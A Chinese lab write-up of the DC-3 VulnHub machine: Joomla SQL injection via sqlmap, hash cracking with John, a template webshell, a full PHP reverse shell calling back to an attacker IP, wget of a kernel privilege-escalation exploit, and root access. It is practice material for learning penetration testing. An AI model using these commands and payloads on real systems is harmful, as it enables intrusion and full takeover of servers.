DC-3靶机刷题记录

news2024/9/28 11:21:40

靶机下载地址:

链接:https://pan.baidu.com/s/1-P5ezyt5hUbmmGMP4EI7kw?pwd=rt2c 
提取码:rt2c 

参考:

  • http://t.csdnimg.cn/hhPi8
  • https://www.vulnhub.com/entry/dc-32,312/ 官网
  • http://t.csdnimg.cn/5mVZ7
  • DC-3 (1).pdf
  • https://c3ting.com/archives/vulnhnbshua-ti—dc-3
  • 【【基础向】超详解vulnhub靶场DC-3-一靶多打】 https://www.bilibili.com/video/BV11a411d78T/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef
  • ChatGPT

image.png

环境搭建

当出现DE 设备 (磁盘/CD-ROM)配置不正确。“ide0:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide0:1”移到“ide0:0”。错误时,
将IDE改为0:0即可
image.png
image.png
描述

DC-3是另一个专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验。
与以前的DC版本一样,这个版本在设计时考虑到了初学者,尽管这一次只有一个flag,一个入口点,根本没有线索。
Linux技能和对Linux命令行的熟悉程度是必须的,基本的渗透测试工具的一些经验也是必须的。
对于初学者来说,Google可以提供很大的帮助,但你可以随时在@DCAU7上发推文给我,寻求帮助,让你再次前进。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。
对于那些有CTF和Boot2Root挑战经验的人来说,这可能根本不会花费你很长时间(事实上,它可能需要不到20分钟的时间)。
如果是这样的话,如果你希望它成为一个更大的挑战,你可以随时重做挑战,并探索其他获得root和获得flag的方法。

使用工具

攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.131

1、导入VMware虚拟机

下载完成后,得到DC-3.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

一.信息收集

基础信息查询

0x01 查看存活主机
arp-scan -l       #二层主机扫描,主动发送ARP包进行嗅探

image.png

0x02 查看开放端口 和 0x03 查看端口服务
nmap -p- 192.168.1.131 -A

# -p-选项用于指定要扫描的所有端口范围。通常情况下,-p-表示扫描所有65535个端口
# -A 参数可以更详细一点,-A参数是一个组合选项,用于启用"全面扫描"模式。使用该参数可以执行更全面的信息收集和服务识别。

image.png
80端口可用,还将该端口的详细信息给出了,用的是Joomla的cms

0x04 下载joomscan

image.png


JoomScan是一款用于扫描和评估Joomla内容管理系统(CMS)的安全性的工具。它可以帮助发现潜在的漏洞、配置错误和安全弱点。
JoomScan通过对目标Joomla网站进行自动化扫描,并使用预定义的技术和漏洞检测方法来识别可能存在的问题。它可以检查版本信息、敏感文件泄露、常见漏洞、不安全的配置设置等。
以下是使用JoomScan的基本语法:

joomscan -u <target>

其中:

  • -u选项用于指定要扫描的目标Joomla网站URL。

例如,要使用JoomScan对网站http://example.com进行扫描,可以执行以下命令:

joomscan -u http://example.com

JoomScan将开始扫描目标网站,并报告任何发现的潜在漏洞和安全问题。


0x05查看joomscan版本信息

joomscan -u http://192.168.1.131

image.png
扫描出了cms的版本,还有一些目录和后台登入界面192.168.1.131/administrator/

二:漏洞发现

查看版本漏洞

searchsploit

searchsploit是一款kali自带的搜索漏洞信息的模块,可参考searchsploit漏洞查找工具使用指南


“searchsploit”是一个用于Exploit-DB的命令行搜索工具,它还允许你随身带一份Exploit-DB的副本。
SearchSploit为您提供了在本地保存的存储库中执行详细的离线搜索的能力。这种能力特别适用于在没有互联网接入的情况下对网络进行安全评估。许多漏洞都包含了二进制文件的链接,这些文件不包含在标准存储库中,但可以在我们的Exploit-DB二进制文件中找到。
如果您预计您将在一个没有Internet的网络环境进行渗透测试,请确保您检查了两个存储库,以获得最完整的数据集。注意,这个工具的名称是“SearchSploit“,顾名思义,它将搜索所有的漏洞和shellcode。它不会包含任何文件和谷歌黑客数据库的结果
安装运行:kali自带searchsploit,其他linux,在github下载tar.gz压缩包,直接运行里边的 searchsploit 执行文件即可
github地址:https://github.com/offensive-security/exploitdb
终端输入searchsploit启动(已经默认在Kali/Parrot中安装)


searchsploit joomla 3.7.0

image.png
当前cms存在SQL注入的漏洞,还有跨站扫描漏洞,我们看一下SQL注入的,该漏洞的完整path是
/usr/share/exploitdb/exploits/**php/webapps/42033.txt**
直接查看一下
cat /usr/share/exploitdb/exploits/**php/webapps/42033.txt**
image.png
给出了注入点和Sqlmap的使用方法

三. 漏洞利用

1. SQL注入

利用sqlmap进行自动化注入,萌新可参考Sqlmap常用命令总结

  • 列出所有数据库
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

--dbs列出所有数据库
image.png
image.png

  • 列出指定数据库的所有表
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch -D joomladb --tables
-D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
--tables 列出表

image.png
image.png
发现敏感users用户表

  • 查看所有列名
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]  -D joomladb -T "#__users" --columns
表名含有特殊符号,需要用引号包括

这里就不能用--batch参数了,会默认使用公共参数爆破给N掉,导致注入失败,根据提示,手工输入y并回车即可

image.png
image.png

  • 查看用户名与密码字段
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch -D joomladb -T "#__users" -C username,password --dump

image.png
image.png

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

密码是加密过的,没有加密函数只能爆破密码了

2. 密码爆破

利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明


John介绍及常用命令使用说明_john使用-CSDN博客
John the Ripper(通常简称为John)是一款流行的密码破解工具,专门用于破解密码哈希值。它支持多种密码哈希算法,并使用暴力破解、字典攻击、混合攻击等多种方法来尝试破解密码。
John是一个命令行工具,可以在各种操作系统上运行。它基于已有的密码哈希值(例如Linux系统中的/etc/shadow文件)来进行破解。您需要提供一个包含可能的密码列表(称为字典文件)作为输入,或者使用内置的密码规则和策略来生成密码组合。
以下是使用John的基本语法:

john <hashed_file>

其中:

  • <hashed_file> 是包含密码哈希值的文件路径。

例如,要使用John对密码哈希值文件/etc/shadow进行破解,可以执行以下命令:

john /etc/shadow

John将根据配置的攻击模式和密码破解选项,尝试破解给定的密码哈希值。如果成功找到密码,则会显示在屏幕上。


先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用john指向该文件
image.png

识别hash类型并破解
john 1.txt
john --show 1.txt

image.png
所以密码为:snoopy
报错处理:

如何处理哈希密码文件在john时候无法解密的方法

sudo John 文件 —format=crypt

然后再输入

sudo John —show 文件
密码是snoopy,接下来登入后台 192.168.1.131/administrator/

image.png
image.png
image.png
探索后台管理员系统,发现了文件上传的点位,在beez3模块里
image.png
我们可以自己创建一个文件,写入木马 也可以直接反弹shell
image.png
保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为

http://192.168.1.131/templates/beez3/1.php

访问1.php让其解析,可以执行命令
image.png

接下来试试反弹shell

修改1.php的内容
image.png
将PHP反弹shell代码复制进去

  <?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '192.168.1.128';  // You have changed this
  $port = 8888;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;

  //
  // Daemonise ourself if possible to avoid zombies later
  //

  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }

    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }

  // Change to a safe directory
  chdir("/");

  // Remove any umask we inherited
  umask(0);

  //
  // Do the reverse shell...
  //

  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }

  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }

  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printit("Successfully opened reverse shell to $ip:$port");

  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }

  ?> 

首先kali监听8888端口

nc -lvvnp 8888

然后再访问一下1.php让其解析,便可以反弹成功
image.png
但是现在还不是root权限
image.png


可以修改交互

Get交互shell

跟DC-1一样,利用python获取交互shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

image.png


四. Linux提权

1. 确定操作系统信息

这儿不能用suid和git提权,得换种方法,先查看操作系统版本信息可参考
查看Linux当前操作系统版本信息常用命令 ,以寻找提权漏洞突破口

0x01 查看版本信息

uname -a

image.png

cat /proc/version

image.png


cat /proc/version命令用于查看当前正在运行的Linux操作系统内核的版本信息。
执行该命令时,系统将打开/proc/version文件并将其内容显示在终端上。该文件包含了有关内核版本、编译日期和其他相关信息。


cat /etc/issue

image.png


cat /etc/issue命令用于显示当前操作系统发行版的信息。
执行该命令时,系统将打开/etc/issue文件并将其内容显示在终端上。该文件通常包含了操作系统发行版的名称和版本号等信息。
示例输出可能如下所示:

Ubuntu 16.04 LTS \n \l

输出中包含了操作系统的名称(例如Ubuntu)以及版本号(例如20.04.3 LTS)。\n表示换行,\l表示登录提示符后的字符串。
通过查看/etc/issue文件,您可以快速获取当前操作系统发行版的信息,这对于确认正在使用的操作系统和版本非常有用。


得到操作系统与其版本

搜索操作系统漏洞

继续使用searchsploit工具搜索漏洞 ,打开另外一个终端

searchsploit Ubuntu 16.04

image.png
Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式,完整path
/usr/share/exploitdb/exploits/linux/local/39772.txt
查看一下

cat /usr/share/exploitdb/exploits/linux/local/39772.txt 

image.png
文本写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的连接
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
上面的无法下载就换下面这个
exp下载 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

下载该压缩包并放到kali里,解压该文件,并在改目录下开启HTTP服务,就可以将下载好的文件导入到DC-3靶机里了
image.png
image.png
出现这个说明服务开启成功,exp地址是

http://192.168.1.128:8888/exploit.tar

回到我们的虚拟终端,利用wget命令下载该工具
而且要在/var/www/html目录下才有权限下载

www-data@DC-3:/var/www/html$ wget http://192.168.1.128:8888/exploit.tar

image.png
下载完后用tar命令解压该压缩包

tar -xvf exploit.tar

tar -xvf exploit.tar命令用于解压缩(解包).tar格式的文件。在执行该命令时,您需要提供要解压缩的目标文件名。
请注意,在终端中执行该命令之前,请确保您已经位于包含 exploit.tar 文件的目录下。如果不在同一目录下,您需要提供完整的文件路径。
以下是执行 tar -xvf exploit.tar 的示例命令:

tar -xvf exploit.tar

命令中的选项说明:

  • -x 用于解压缩 (extract) 文件。
  • -v 用于显示详细的操作信息 (verbose),让您看到解压的过程。
  • -f 后跟要解压的文件名。

执行该命令后,exploit.tar 将会被解压缩,并且文件中的内容将被提取到当前目录中。
请注意,如果 exploit.tar 是一个压缩文件(如 .tar.gz 或 .tar.bz2),您可能需要使用不同的命令来进行解压缩。具体的命令将根据文件的扩展名而有所不同


接着cd进入解压后的文件夹

cd ebpf_mapfd_doubleput_exploit

image.png
根据原来的39772.txt的提示
执行compile.shdoubleput这两个文件
image.png
执行下两个文件,Linux系统下.(点)是执行某个文件的意思

./compile.sh

image.png

./doubleput

image.png
提权成功!!!
获得root权限
image.png
image.png

也可以用find命令来找flag文件
find / -name *flag*

image.png

总结

这个靶机考察了使用者对于cms的利用手段,hash密文爆破方式,sqlmap的使用方式,对于漏洞的利用能力。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1396519.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JAVAEE初阶 网络原理初识

网络原理 一.局域网1.1 局域网组件网络的几种关系 二. 广域网三. 网络通信基础概念3.1 IP3.2 端口3.3 协议3.4 拆分3.5 拆分的优点 四. TCP/IP五层模型4.1 网络设备的分层 一.局域网 局域网是 Local Area Network 简称 LAN。 局域网是本地&#xff0c;局部私自建立的一种网络。…

CSV文件中json列的处理2

如上所示&#xff0c;csv文件中包含以中括号{}包含的json字段&#xff0c;可用如下方法提取&#xff1a; import pandas as pd from datetime import date todaystr(date.today()) import jsonfilepath/Users/kangyongqing/Documents/kangyq/202401/调课功能使用统计/ file104…

开发语音产品时设计唤醒词和命令词的技巧

在实际开发语音产品过程中&#xff0c;要达到好的语音识别效果&#xff0c;除了语音算法要给力外&#xff0c;设计出好的唤醒词和命令词也能起到事倍功半的效果。所以下面介绍一下如何设计中文、英文和日文的唤醒词和命令词。 中文唤醒词设计 一般为4-6个字&#xff0c;4个字最…

天眼销会员系统上线:低至9.9/月!

天眼销是一款提供企业线索的产品&#xff0c;致力于帮助客户获取最新的企业联系方式、工商信息等关键数据。 此前天眼销的收费模式是按条数收费&#xff0c;每条0.07叠加充值优惠&#xff0c;最优惠也要差不多0.05/条。 现在新的会员系统上线了&#xff0c;比以往更加优惠&am…

VUE--组件的生命周期及其基本应用

VUE的生命周期 上图是实例生命周期的图表&#xff0c;需要注意以下几个重要时期&#xff1a; 创建期&#xff1a;beforeCreated、created 挂载期&#xff1a;beforeMount、mounted 更新期&#xff1a;beforeUpdate、updated 销毁期&#xff1a;beforeUnmount、unmounted 生命周…

图新地球-拌合站选址-上报林业局的临时征拆-图斑附图制作

0.序 做铁路、公路等工程施工时&#xff0c;需要根据不同阶段的施工方案&#xff0c;把拌合站等用地选址&#xff0c;报批给林业局进行审批。 如下图&#xff1a; 1.附图结果要求 在卫星底图基础上&#xff0c;标注选址的范围 闭合线的每个节点显示经纬度坐标&#xff08;度…

qt学习:进度条,水平滑动条,垂直滑动条+rgb调试实战

目录 水平滑动条&#xff0c;垂直滑动条 常用信号 进度条 常用信号 修改进度条 例子 rgb调色 配置ui界面 编写3个进度条的事件函数 添加链表容器和按钮索引 在.h里的类定义 初始化链表容器和按钮索引 编写添加颜色的按钮点击事件函数 效果 水平滑动条&#xff0c…

外卖系统创新:智能推荐与用户个性化体验

外卖系统的日益普及使得用户对于更智能、个性化的体验有着不断增长的期望。在这篇文章中&#xff0c;我们将探讨如何通过智能推荐技术&#xff0c;为用户提供更贴心、更符合口味的外卖选择。我们将使用 Python 和基于协同过滤的推荐算法作为示例&#xff0c;让您更深入地了解智…

一文详解远程控制安全与远程控制软件(横测ToDesk\AnyDesk\向日葵)

一、远程控制的安全问题 远程控制的安全性已经算半个老生常谈的问题了&#xff0c;作为常年远程办公的人&#xff0c;这里我只想说一句&#xff0c;无论你用什么软件都会有安全上的隐患&#xff0c;做不到百分百的安全&#xff0c;但相对安全&#xff0c;咱们还是可以自主把控…

html + css + js简单的项目

以下内容直接复制粘贴就能运行 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title&…

深入理解 Kubernetes Ingress:路由流量、负载均衡和安全性配置

Kubernetes Ingress 是 Kubernetes 集群中外部流量管理的重要组件。它为用户提供了一种直观而强大的方式&#xff0c;通过定义规则和配置&#xff0c;来控制外部流量的路由和访问。 1. 什么是 Ingress&#xff1f; 在 Kubernetes 中&#xff0c;Ingress 是一种 API 资源&#…

Mysql中的日志系统

文章目录 1. 慢查询日志&#xff08;Slow Query Log&#xff09;1.1 是否开启慢查询日志1.2 开启慢查询日志&#xff0c;设置时间阈值1.2.1 修改文件my.ini1.2.2 重启mysql后配置生效 1.3 查看慢查询日志1.3.1 直接用文本编辑器打开1.3.2 使用mysqldumpslow进行分析 2. InnoDB …

为什么 macOS 比 Windows 稳定?

在计算机操作系统领域&#xff0c;macOS 和 Windows 分别是苹果公司和微软公司的主打产品。尽管两者都拥有大量的用户群体&#xff0c;但在稳定性和用户体验方面&#xff0c;macOS 常常被认为优于 Windows。那么&#xff0c;为什么 macOS 比 Windows 更稳定呢&#xff1f; 我们…

Java 类与对象(对象的分配机制、对象的创建过程、匿名对象)

面向对象 面向对象编程&#xff08;Object-Oriented Programming 简称 OOP&#xff09;是一种程序设计思想和编码架构。 Java 是完全面向对象的&#xff0c; 必须熟悉 OOP 才能够编写 Java 程序。 面向对象的程序是由对象组成的&#xff0c;每个对象包含对用户公开的特定功能…

最新!进口芯片龙头代理商名录更新

众所周知&#xff0c;代理商一直充当着厂家和客户中间的桥梁的角色。经过这么多年的变化和沉淀&#xff0c;摆在代理商面前的挑战与日俱增&#xff0c;定位也逐渐开始分化。 由于原厂对于市场的把控越来越严&#xff0c;各类原厂直营商城的上线以及原厂之间的并购直接主导了市…

【机组】时序与启停实验的解密与实战

​&#x1f308;个人主页&#xff1a;Sarapines Programmer&#x1f525; 系列专栏&#xff1a;《机组 | 模块单元实验》⏰诗赋清音&#xff1a;云生高巅梦远游&#xff0c; 星光点缀碧海愁。 山川深邃情难晤&#xff0c; 剑气凌云志自修。 ​ 目录 &#x1f33a;一、 实验目…

MySQL 索引(上)

&#x1f389;欢迎您来到我的MySQL基础复习专栏 ☆* o(≧▽≦)o *☆哈喽~我是小小恶斯法克&#x1f379; ✨博客主页&#xff1a;小小恶斯法克的博客 &#x1f388;该系列文章专栏&#xff1a;重拾MySQL-进阶篇 &#x1f379;文章作者技术和水平很有限&#xff0c;如果文中出现…

openlayers [九] 地图覆盖物overlay三种常用用法 popup弹窗,marker标注,text文本

文章目录 简介overlay 实现popup弹窗overlay 实现label 标注信息overlay实现 text 文本信息完整代码 简介 常见的地图覆盖物为这三种类型&#xff0c;如&#xff1a;popup弹窗、label标注信息、text文本信息等。 overlay 实现popup弹窗 方法详解 实例一个 new Overlay()&…

链动2+1模式:月流水6000万是怎么做到的?

一个好的企业往往只需要最简单的营销方式。当我们面对当今的商业市场&#xff0c;琳琅满目的商业模式&#xff0c;应接不暇的营销方案&#xff0c;我们一定会举足无措的不知道怎么选择。因为一个好的公司或企业&#xff0c;一定要有一个十分经得起推敲的模式来面对消费者。 那么…

对m3u8视频进行批量采集

一、相关网页&#xff08;网页链接&#xff1a;https://www.acfun.cn/v/ac36564705&#xff09; 二、多视频采集网页&#xff08;找出每个视频ID&#xff09; 三、相关代码&#xff08;代码含有注释&#xff09; # Time: 2024/1/18 22:57 # Author: 马龙强 # File: 对m3u8视频…